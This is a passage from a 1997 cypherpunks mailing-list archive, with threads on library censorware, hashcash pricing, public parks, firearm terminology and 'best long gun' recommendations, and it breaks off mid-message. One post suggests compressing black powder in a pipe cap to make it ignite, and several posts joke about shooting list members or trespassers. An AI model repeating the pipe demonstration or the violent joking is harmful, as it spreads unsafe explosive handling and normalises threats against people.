: http://www.varesearch.com             |  Now offering VarStation II Systems

--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 12:30:14 +0800
To: cypherpunks@toad.com
Subject: Re: SPECIAL REPORT: Censorware in the Stacks (fwd)
In-Reply-To: <199712230348.VAA21992@einstein.ssz.com>
Message-ID: <yLc6He27w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate <ravage@ssz.com> writes:

[statist bullshit advocating government control of the libraries snipped]
>
> Go piss in that pot you lying commie sack of shit.

Jim,

If you insist on talking to yourself, please don't cc: the list.  Thanks.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 23 Dec 1997 13:06:33 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: message dependent hashcash => no double spend database  (Re: hashcash spam prevention & firewalls)
In-Reply-To: <199712221801.SAA00366@server.eternity.org>
Message-ID: <199712230503.AAA10928@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199712221801.SAA00366@server.eternity.org>, on 12/22/97 
   at 01:01 PM, Adam Back <aba@dcs.ex.ac.uk> said:

>William Geiger <whgiii@invweb.net> writes:
>> Well IMNSHO hashcahs mail sucks!! It opens up the pandora's box of usage
>> based charges for everything done on the 'net. What will be next? FTP
>> sites charging hashcash for DL's? WebPages charging hashcash per hit? DNS
>> servers charging per lookup? Routers charging per packet?

>We already pay usage charges indirectly.

>That is to say, in the UK you pay per second phone line charges.  It
>would actually save me money if the net was a bit more responsive.  If I
>was paying packet delivery at guaranteed performance, I would spend less
>money on the phone charges.

Well this is a UK telco problem not an Internet problem. I most certianly
do not wish to see my rates increase in an effort lower yours.

>Flat rate charges is nice enough, and the way I would like things to
>stay, however I tend to think that usage charges would not be as bad as
>you expect, because it would put competitive pressure on ISPs to provide
>performance.

I highly doubt it. Currently the going rate in the US is $15-$20/mo
unmetered rate for a standard dial-up ppp account. This includes 1 or 2
mail boxes, 5-10Mb quota space, WebServer, NewsServer, POP3 & SMTP
servers. This is fairly standard offering but will vary slightly from one
ISP to another. This is what the market will bare due to fierce
competition in the ISP bussiness. I doubt that switching to a metered rate
system will lower prices any and more than likely will *increase* prices.

There have been ISP's in the past who have offered metered rate services,
they are no longer in business. People have voted with their walets and
have overwhelmingly stated that they do not want metered rate services
(this is why you hear some on the list talking about "educating" the
users).

>(My current ISP has truly pitiful performance.)

Get a different ISP. I have switched my webpages and mail accounts to a
shell account so I can switch ISP's at will without any problems.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 23 Dec 1997 13:25:26 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <D7D6He29w165w@bwalk.dm.com>
Message-ID: <199712230508.AAA10976@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <D7D6He29w165w@bwalk.dm.com>, on 12/22/97 
   at 11:26 PM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

>berezina@qed.net (Paul Spirito) writes:

>> On Mon, 22 Dec 1997 10:04:47 -0800, David Honig wrote:
>>
>> >Note that if the library in question were not arm of the State,
>> >noone would have any First Amendment claim.
>> >
>> >This is reminiscent of TM's recent (controversial) analysis of the fired
>> >county trashworker/author,
>> >and suggests a clearer example of the confusion caused by State as =
>> Employer:
>>
>> It's true that in the absence of public libraries this would not be an
>> issue; however, it is an example of the state acting as sovereign, not
>> employer. We're concerned with the right of patrons to access material, &
>> they are not state employees. The situation is analogous to a public =
>> park:
>> just because the state owns it, does that mean it can forbid, say, =
>> criticism
>> of the state in it? No, of course not, though it has broader discretion =
>> in
>> limiting the speech of public employees in the park, while on-duty.

>Why should any state be in the business of owning and running any parks?
>We pay $60/year for a family membership in an excellent private park.
>Most public parks in NYC are extremely unpleasant and dangerous places.

I find it quite amazing that anyone would live in a place where you had to
pay to see grass and trees.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 24 Dec 1997 02:23:23 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Best Cypherpunk long gun
In-Reply-To: <XR66He35w165w@bwalk.dm.com>
Message-ID: <Pine.BSF.3.91.971222224050.29780B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Tue, 23 Dec 1997, Dr.Dimitri Vulis KOTM wrote:

> Lucky Green <shamrock@cypherpunks.to> writes:
> 
> > On Mon, 22 Dec 1997, Mix wrote:
> >
> > > What is the best long gun for a Cypherpunk?
> >
> > There are some howitzers that can deliver nuclear artillery shells at 50+
> > miles. I think their barrels are pretty long.
> 
> During WWI the germans had something called "Big Bertha". It may have been
> longer.
> 

Compensating, Her Doktor?  ;)


http://www.valkyriearms.com/m2.htm

BATF approved. Hmmmm ... wonder how fast you can fire this on semi-auto? The 
auto version had a fairly low rate of fire, as I recall. 

Actually, a Colt-Sauer in any of the smaller, flatter shooting cartridges 
will do just fine. One round, one head-shot.

-r.w.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 24 Dec 1997 02:23:16 +0800
To: Anonymous <anon@anon.efga.org>
Subject: Re: your mail
In-Reply-To: <3ac13928b6f59bb84e63ac40da871a6b@anon.efga.org>
Message-ID: <Pine.BSF.3.91.971222231029.29780C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Tue, 23 Dec 1997, Anonymous wrote:

> At 10:11 PM 12/22/97 -0800, you wrote:
> >What is the best long gun for a Cypherpunk?
> >
> >
> You didn't say if you were interested in a trophy or just filling the freezer nor if you would be in open country or in the bush. A good all around choice would be one of the medium power thirty caliber cartridges.  It would be prudent to use ammunition lo!
> aded with well constructed bullets because some Cypherpunks are thick skinned, particularly those with law degrees. 
> 
> LongPigMuncher       
> 
> 

Many of them seldom leave their dens, because they can't find their 
shoes. You need to leave the long gun behind, and go in after them with 
Glock in hand. Watch out for the claymores.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 23 Dec 1997 13:06:46 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Lock and Load (fwd)
Message-ID: <199712230524.XAA22670@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "Michael H. Warfield" <mhw@wittsend.com>
> Subject: Re: Lock and Load (fwd)
> Date: Mon, 22 Dec 1997 23:50:36 -0500 (EST)

> This is what "the experts" have claimed.  Can't personally claimed to have
> read it in any specific manual myself.

I've seen a couple and there are *lots* of references to the various manuals
(and I think every wanna be professional soldier in the last 500 years has
written one at some point) in the various readings I do studying tactical
combat techniques but that doesn't make me an expert by any stretch
of the imagination. The very fact that there are so many and so many were
never accepted (quality?) means even they are by no means a final reference.
I would like to know if there were exceptions or even who wrote the first
manual with 'lock and load'...

> This friend happened to have a fire in his house about five years ago.

Yuck, I had a house fire going on 3 years ago now. Every time I smell a
bar-b-q pit I remember it...;(

> his journey into discovering the nature of life beyond.  I personally would
> not recommend subjecting such substances to such abuses of heat and pressure,
> but some are known to get away with it and still live to tell the tale.

I've seen that sort of behaviour as well. I've tried to demonstrate the pipe
model and truth be told, it works only about 9 out of 10 times. Black powder
just ain't that unstable.

> > You can buy working 'Brown Bessie' models at most any gun or decent hobby
> > store. They're cheap (around $100 last time I looked), loud, smelly, and
> > loads of fun...
> 
> 	I personally like the Kentucky Longs you can build from kits.  Will
> throw and impressive 1/4" lead ball and leave one hell of an impression when
> it arrives...

Agreed...

Merry Christmas!


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 12:45:34 +0800
To: cypherpunks@toad.com
Subject: Re: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <34a33a61.43986305@smtp.email.msn.com>
Message-ID: <D7D6He29w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



berezina@qed.net (Paul Spirito) writes:

> On Mon, 22 Dec 1997 10:04:47 -0800, David Honig wrote:
>
> >Note that if the library in question were not arm of the State,
> >noone would have any First Amendment claim.
> >
> >This is reminiscent of TM's recent (controversial) analysis of the fired
> >county trashworker/author,
> >and suggests a clearer example of the confusion caused by State as =
> Employer:
>
> It's true that in the absence of public libraries this would not be an
> issue; however, it is an example of the state acting as sovereign, not
> employer. We're concerned with the right of patrons to access material, &
> they are not state employees. The situation is analogous to a public =
> park:
> just because the state owns it, does that mean it can forbid, say, =
> criticism
> of the state in it? No, of course not, though it has broader discretion =
> in
> limiting the speech of public employees in the park, while on-duty.

Why should any state be in the business of owning and running any parks?
We pay $60/year for a family membership in an excellent private park.
Most public parks in NYC are extremely unpleasant and dangerous places.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 23 Dec 1997 15:40:27 +0800
To: cypherpunks@toad.com
Subject: Re: Best Cypherpunk long gun
In-Reply-To: <199712230611.WAA27275@sirius.infonex.com>
Message-ID: <v03102807b0c50470580c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:11 PM -0700 12/22/97, Mix wrote:
>What is the best long gun for a Cypherpunk?

(This is probably some sort of troll, but I'll answer it anyway.)

For what purpose? For what range? How much money do you want to spend?

I can tell you that for close quarters defense, against Home Invaders (of
either the Vietnames gang sort or the Washington gang sort), I count on an
Olympic Arms OA-96 pistol, in .223. Though technically a pistol, because of
the 6.5-inch barrel and pistol grip, it fires 30 rounds of high-speed .223
Remington, able to rip through ballistic vests like butter. The small size
makes it manouverable in tight quarters. It has a laser on it, and I also
use the HoloSight described below on it.

For slightly greater ranges, e.g., during daylight, I have a Colt HBAR
Match Target rifle (essentially a Colt AR-15, though that was banned during
the Recent Statist Action, and so the name had to change, along with a few
cosmetic features). This also fires a .223 round, of course, as it is the
standard U.S. military rifle. The HBAR is mounted with a Bushnell
HoloSight, a zero-magnification holographic reticle system, similar to a
"red dot" system (but better). Two-inch groups at a hundred yards are easy
to obtain (limited more by the scope than by the rifle).

(There are rumors that I bought a genuine Colt AR-15 in 1975 and have not
registered it, as required by fascist Kalifornia law. I could tell you if
this is true, but then I'd have to shoot you.)

I also have a Ruger Mini-14 in .223, though I'm not sure it fills a useful
niche. And a Winchester Model 94, a classic cowboy lever action, in .44
Magnum. Again, not necessarily a mainstream gun.

For defending the _perimeter_ of my property against Those Who Would
Trespass, I count on a Remington Model 700 "varmint" rifle, chambered in
.308 (or 7.62 NATO). It's a bolt-action, but the expected use is for
long-range (300 meters) use, aka "sniping." The usual high-power scope.
This rifle is capable of sub-MOA (minute of angle) groups, meaning less
than 1-inch groups at a hundred yards.

Were I to recommend one rifle to meet most needs, it would be some variant
of the AR-15, from Colt or Bushmaster or Olympic Arms, etc. About $800 for
a common variant. No need for a collapsible stock.  This will handle social
needs from short range, to a few hundred yards (maybe more).

There are those who recommend a cheaper SKS or AK-47 variant. I've never
owned one, so can't honestly comment. The concensus in rec.guns and
misc.survivalism seems to be that the AR shoots better and more accurately,
but the AK-47 is more forgiving of bad conditions, dirt, etc. Inasmuch as I
don't expect to be in the desert, or even any mud, I'll take the more
accurate piece.

(The notion that the AR-15/M-16 "jams" is based on 35-year-old early
experiences in Viet Nam, using an early design and early ammo. The jamming
problems were fixed quickly, by changing the forward assist, changing the
ammo a little, and teaching soldiers how to properly clean the weapon.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: landon dyer <landon@best.com>
Date: Tue, 23 Dec 1997 15:50:09 +0800
To: cypherpunks@toad.com
Subject: Re: Best Cypherpunk long gun
In-Reply-To: <199712230611.WAA27275@sirius.infonex.com>
Message-ID: <3.0.3.32.19971222234123.00a223b0@shell9.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:11 PM 12/22/97 -0800, you wrote:
>
>What is the best long gun for a Cypherpunk?

  A Solothurn, natch.  For those who don't know:  A circa 1938 20mm
anti-tank rifle; be sure to get the high power telescopic sight.  Why
screw around?  :-)


-landon

 [read _unintended consequences_; as john brunner said: "move in with it"]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael H. Warfield" <mhw@wittsend.com>
Date: Tue, 23 Dec 1997 12:56:28 +0800
To: ravage@ssz.com
Subject: Re: Lock and Load (fwd)
In-Reply-To: <199712230241.UAA21609@einstein.ssz.com>
Message-ID: <199712230450.XAA01360@alcove.wittsend.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate enscribed thusly:
> Forwarded message:

> > 	The reference goes back to old flint lock muzzle loaders.  You would
> > "lock" the firing mechanism in a safety position (kind of a half cocked
> > position), then load it through the muzzle (picture this and some old
> > cartoons about raming a ball on top of gun powder down the muzzle of a
> > riffle and the possiblities to picture why you would want this locked on
> > "safety"), then finish cocking the rifle to prepare it to fire.  This also
> > relates to the term "half cocked" since a rifle that was only half cocked
> > (in its locked position) was not ready to fire.  So going off "half cocked"
> > became a reference to going into something unprepared while "lock and load"
> > evolved into a reference to actively or vigorously preparing to engage in
> > something, be it a battle, an arguement, or what ever...

> This is only partialy correct, the fact is that half-cocked simply means the
> pan-head is down or covered so if the flint strikes the firing plate a spark
> will not be propogated into the firing chamber (a hole in the side of the
> barrel) and hence fire the weapon. Firing one of these weapons is a two step
> process once loaded and aimed. Pull the hammer back and remove the pan-head.
> The pan-head is *always* opened just prior to firing in order to eliminate
> as many causes of a mis-fire (eg rain hitting the pan-head or wind blowing
> the primer charge out of the pan-head) as possible.

	Agreed to all technical specifics of the muzzle loaders.

> Traditionaly (as I was tought anyway) 'half-cocked' meant you didn't carry
> through all the way in preperations to the final goal. It is clear that it
> has taken on much broader meaning relating to general incompetance and
> over-zealousness.

	Agreed.

> "Lock and load" is not in any of the infantry manuals I have ever seen from
> before the mid-1800's. And in every case it refered to a modern weapon not
> a muzzle load weapon. If anyone can point to an exception I would
> appreciate it. In all of them it refers to safety'ing the weapon and then
> loading a round into the chamber. It originaly came into use because of the
> operation of a bolt-action rifle. If the gun wasn't on safety when the bolt
> was driven home there was a small but real chance the firing pin (in the
> back of the bolt you just jammed down with some zeal) would go off and cause
> the weapon to mis-fire (if you and your buddy are both lucky - you missed
> both of you).

	Can't point to any specific manual.  This was explained to me by
some of the "so called" experts on early firearms who give demonstrations
down here at some of the battlefield monuments and parks here in Georgia.
This is what "the experts" have claimed.  Can't personally claimed to have
read it in any specific manual myself.

> As to the loading of the ball onto the gun-powder - you won't do it the way
> described above but once. The black powder will go off on about the 3rd tap
> and you won't have the two hands it takes to load a muzzle-loader. If you
> *ever* load a black powder be *absolutely shure* that there is a ball pad
> between the gun powder and the ball. It is *not* there for barrell sealing
> or some other silly explanation - it's there to inhibit compressive
> explosion of the black powder. Don't believe it, go down to the hardware or
> feed store and buy a small can of black powder. Then get a 3/4" pipe and
> cap. Put only one or two flakes of the black powder on the threads and then
> tighten with a pipe wrench (wear gloves, glasses, and apron). After about a
> half turn or so you should hear a distinct snapping sound. This is the black
> powder going off. This is what will happen if black powder gets between the
> ball and barrel while you're tapping - and there's a *lot* more gunpowder
> than a couple of flakes to take your hand (and your face if you're silly
> enough to be leaning over the barrel which is where not looking down the
> barrel of a gun comes from).

	I have loaded and "touch off" a Kentucky long rifle.  Admittedly,
percusive caps have replaced the old lock and flint so some of the issues are
different.  I do, however, follow the rules.  Yes the wadding goes in, which
ever reason you accept, and yours is just as good (if not better) than the
others.  I also happen to have an friend who happen to be very much into
muzzle loaders as well as reloading his own shells for conventional arms.
This friend happened to have a fire in his house about five years ago.
As he tells the story, the fire burned the paint off the outside of the can
of smokeless powder sitting on a shell in his basement but did not expedite
his journey into discovering the nature of life beyond.  I personally would
not recommend subjecting such substances to such abuses of heat and pressure,
but some are known to get away with it and still live to tell the tale.

> Also, those guns didn't have safeties to engage. There was really only two
> ways to enshure a safe weapon once loaded - either have the panhead closed
> or take the flint or steel blade out of the hammer. Even when un-cocked the
> hammer and blade rests on the firing plate and any stiff strike will cause a
> spark. Easy to demonstrate - while holding one simply strike the hammer with
> the heel of your hand while in the dark - that little spark is what blew
> your face off.

> You can buy working 'Brown Bessie' models at most any gun or decent hobby
> store. They're cheap (around $100 last time I looked), loud, smelly, and
> loads of fun...

	I personally like the Kentucky Longs you can build from kits.  Will
throw and impressive 1/4" lead ball and leave one hell of an impression when
it arrives...

> Merry Christmas!

	Same!

>     ____________________________________________________________________
>    |                                                                    |
>    |      Those who make peaceful revolution impossible will make       |
>    |      violent revolution inevitable.                                |
>    |                                                                    |
>    |                                          John F. Kennedy           |
>    |                                                                    |
>    |                                                                    | 
>    |            _____                             The Armadillo Group   |
>    |         ,::////;::-.                           Austin, Tx. USA     |
>    |        /:'///// ``::>/|/                     http://www.ssz.com/   |
>    |      .',  ||||    `/( e\                                           |
>    |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
>    |                                                 ravage@ssz.com     |
>    |                                                  512-451-7087      |
>    |____________________________________________________________________|

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 925-8248   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 23 Dec 1997 14:10:01 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: SPECIAL REPORT: Censorware in the Stacks (fwd)
Message-ID: <199712230558.XAA23016@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "William H. Geiger III" <whgiii@invweb.net>
> Date: Mon, 22 Dec 97 23:05:19 -0600
> Subject: Re: SPECIAL REPORT: Censorware in the Stacks

> >Why should any state be in the business of owning and running any parks?
> >We pay $60/year for a family membership in an excellent private park.
> >Most public parks in NYC are extremely unpleasant and dangerous places.
> 
> I find it quite amazing that anyone would live in a place where you had to
> pay to see grass and trees.

I don't know whether I should feel blessed or cursed now....I spent several
hours today clearing the yard (covered in grass) of tree limbs that were
knocked down from the storm last week and in preperation for the storm to
come in to town tomorrow...still have to mow that green stuff since it's
getting a tad tall...maybe this weekend.

Personaly, I can't imagine why anyone would allow them to build a city
without parks and grass and trees and such. Hell, we have laws in Austin
that make such things mandatory...there is currently a big fight going on
about 'Triangle Park' here in Austin between leaving the 50+ acres at N.
Lamar, Guadalupe, & 45th alone or selling to make a movie theatre and
parking lot. Looks like the trees are gonna win this one...I know my dog
certainly likes romping in the mud puddles...(I live about 10 blocks away)

So big bucks don't always win and the city & state (the park is owned by
the state hospital and currently houses some sort of juvenile center in
one small corner) governments do sometimes listen to the people of a
neighborhood over commercial interests.

Money is not more important than trees sometimes & government sometimes
does listen...

Merry Christmas!



    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 13:33:04 +0800
To: cypherpunks@toad.com
Subject: Re: Lock and Load (fwd)
In-Reply-To: <199712230437.WAA19352@manifold.algebra.com>
Message-ID: <VZF6He31w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



ichudov@Algebra.COM (Igor Chudov @ home) writes:

>
> Jim Choate wrote:
> > Sorry you are the one to bring this one up...
> > Forwarded message:
> >
> > > Subject: Re: Lock and Load (fwd)
> > > Date: Mon, 22 Dec 1997 21:45:46 -0600 (CST)
> > > From: ichudov@algebra.com (Igor Chudov @ home)
> >
> > >
> > > AK-47.
> > >
> >
> > The Chinese Norinco version will certainly do so, I've fired a couple of
> > them. Never seen a real soviet model but they are supposed to be piece for
> > piece interchangable. But will check into it and get back to you.
> >
>
> You can't lock and load an AK. I remember that very well even though it
> has been a while. The bolt just would not go far enough back to pick up
> the cartridge. The bolt carrier's charging handle would only go as far
> as to allow for the weapon inspection.
>
> You can only load and lock. And I think that it is the right design,
> because a soldier cant accidentally get the weapon loaded.
>
> I could field strip an AK (mind you, with all military gadgets) in 11
> seconds and assemble it back in 21 seconds.

Impressive.

> What crypto relevance does it have?

It shows that a Communist rifle doesn't allow us the freedom to lock and load.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 13:50:35 +0800
To: cypherpunks@toad.com
Subject: Re: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <199712230508.AAA10976@users.invweb.net>
Message-ID: <T6F6He32w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@invweb.net> writes:

> In <D7D6He29w165w@bwalk.dm.com>, on 12/22/97
>    at 11:26 PM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
>
> >berezina@qed.net (Paul Spirito) writes:
>
> >> On Mon, 22 Dec 1997 10:04:47 -0800, David Honig wrote:
> >>
> >> >Note that if the library in question were not arm of the State,
> >> >noone would have any First Amendment claim.
> >> >
> >> >This is reminiscent of TM's recent (controversial) analysis of the fired
> >> >county trashworker/author,
> >> >and suggests a clearer example of the confusion caused by State as =
> >> Employer:
> >>
> >> It's true that in the absence of public libraries this would not be an
> >> issue; however, it is an example of the state acting as sovereign, not
> >> employer. We're concerned with the right of patrons to access material, &
> >> they are not state employees. The situation is analogous to a public =
> >> park:
> >> just because the state owns it, does that mean it can forbid, say, =
> >> criticism
> >> of the state in it? No, of course not, though it has broader discretion =
> >> in
> >> limiting the speech of public employees in the park, while on-duty.
>
> >Why should any state be in the business of owning and running any parks?
> >We pay $60/year for a family membership in an excellent private park.
> >Most public parks in NYC are extremely unpleasant and dangerous places.
>
> I find it quite amazing that anyone would live in a place where you had to
> pay to see grass and trees.

I pay (the NYC+NYS income taxes) for the right to see the grass and the trees
in Central Park.  I haven't been there in years, but I hear every once in a
while about folks getting robbed, raped, and killed there. My late mother was
involved with the Central Park conservancy, so I know that unbelieavable
amounts of $$$ from taxes and private donations are used for patronage jobs
or get stolen outright. If it were up to me, I'd have the fucking thing
paved over/filled up and developed into lots of rental apartment units and a
few manageably small privatized parks.

The $60/annum we pay for the garden membership is a tiny fraction of the taxes
we pay; and we get a huge park with french-style flower beds, and an english-
style forest, a fish pond, one of the best rose gardens in the country, etc
- more stuff that one can see in a single day. The kids love it. I think it's
an excellent bargain, and less than we spend occasionally on a single dinner.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 13:40:02 +0800
To: cypherpunks@toad.com
Subject: Re: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <v03102806b0c4e9cd15f1@[207.167.93.63]>
Message-ID: <wPg6He33w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:

> At 11:04 AM -0700 12/22/97, David Honig wrote:
>
> >Note that if the library in question were not arm of the State,
> >noone would have any First Amendment claim.
> >
> >This is reminiscent of TM's recent (controversial) analysis of the fired
> >county trashworker/author,

Why should the state be in the business of hauling away trash anyway?

I can sort of see why the state might insist that you don't pile your
trash where it smells and bothers the neighbors, and let the people find
their own ways of disposing of their garbage - presumably hiring one of
several competing private garbage hauling companies, any one of whom will
perform better service for less money than the state.

And if a homeowner decides to switch garbage collectors because he doesn't
like what his present garbage collector says in print (or on Usenet), that
should be pretty painless for him and not a 1st amendment issue.

Lock and load (or load and lock if you happen to carry an AK-47)
Did you know that AK stands for Avtomat Kalashnikova?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 23 Dec 1997 14:46:12 +0800
To: Tim May <tcmay@got.net>
Subject: Re: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <v03102805b0c4e8e2decb@[207.167.93.63]>
Message-ID: <199712230638.BAA11884@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102805b0c4e8e2decb@[207.167.93.63]>, on 12/22/97 
   at 11:07 PM, Tim May <tcmay@got.net> said:

>At 9:13 PM -0700 12/22/97, Paul Spirito wrote:

>>It's true that in the absence of public libraries this would not be an
>>issue; however, it is an example of the state acting as sovereign, not
>>employer. We're concerned with the right of patrons to access material, &
>>they are not state employees. The situation is analogous to a public park:
>>just because the state owns it, does that mean it can forbid, say, criticism
>>of the state in it? No, of course not, though it has broader discretion in
>>limiting the speech of public employees in the park, while on-duty.

>Well, to move this away from First Amendment issues, for the sake of
>novelty, I know of several nearby state-owned parks (literally) which
>forbid discharge of firearms or even carrying of firearms.

>Whither the Second Amendment? (Or has it withered?)

Well I realy can't see having a bunch of yahoo's shooting off guns in a
crowded park to be a good thing. :) I guess it depends on what one means
by a "park". If we are talking a few acre's of trees and grass in a city
then one really shouldn't be using firearms unless in self defence. If we
are talking "parks" in the sq. mile size that is a different matter.

As far as carrying firearms IMNSHO there should be no restrictions as they
are blatently in violation of the 2nd Admendment.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Kelsey" <kelsey@plnet.net>
Date: Tue, 23 Dec 1997 14:37:01 +0800
To: "Johnson, Michael P (Mike)" <honig@otc.net>
Subject: Re: Question on CFB variant with c[i-N]
Message-ID: <199712230633.AAA31569@email.plnet.net>
MIME-Version: 1.0
Content-Type: text/plain



> From: Johnson, Michael P (Mike) <JohnsMP@LOUISVILLE.STORTEK.COM>
> To: 'coderpunks@toad.com'; 'cypherpunks@algebra.com'; 'David Honig'
<honig@otc.net>
> Subject: RE: Question on CFB variant with c[i-N]
> Date: Monday, December 22, 1997 12:22 PM
 
> How about this mode:
